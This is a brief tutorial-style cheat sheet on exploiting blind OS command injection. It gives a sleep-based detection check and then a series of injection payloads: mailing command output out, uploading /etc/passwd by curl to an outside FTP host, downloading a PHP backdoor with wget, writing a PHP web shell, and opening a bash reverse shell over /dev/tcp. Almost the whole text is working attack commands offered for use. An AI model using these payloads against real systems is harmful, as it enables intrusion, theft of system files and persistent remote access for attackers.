Blind OS Command Injection

Blind OS Command Injection

OS Command Injection is a vulnerability where you can implant shell commands in a script which will be executed by the current user (in the best case: root). Not every page gives you an output (f.e. if the php function "exec()" is in use) but you can test a blind vulnerability with the sleep command:

sleep 10 = pageload 10 sec

now we can use different methods to exploit the vulnerability:

send output via mail

;ls|mail e-mail@provider.com

transfer the output to our ftp via curl

;curl -T /etc/passwd -u user:passwort ftp://seite.com

load a php backdoor

;wget -O backdoor.php http://seite.com/backdoor.txt

create a script to execute visible system commands

;echo "<? system(\$cmd); ?>">backdoor.php

access via reverse shell (netcat), port 8888

;/bin/bash -i > /dev/tcp/my ip/8888 0<&1 2>&1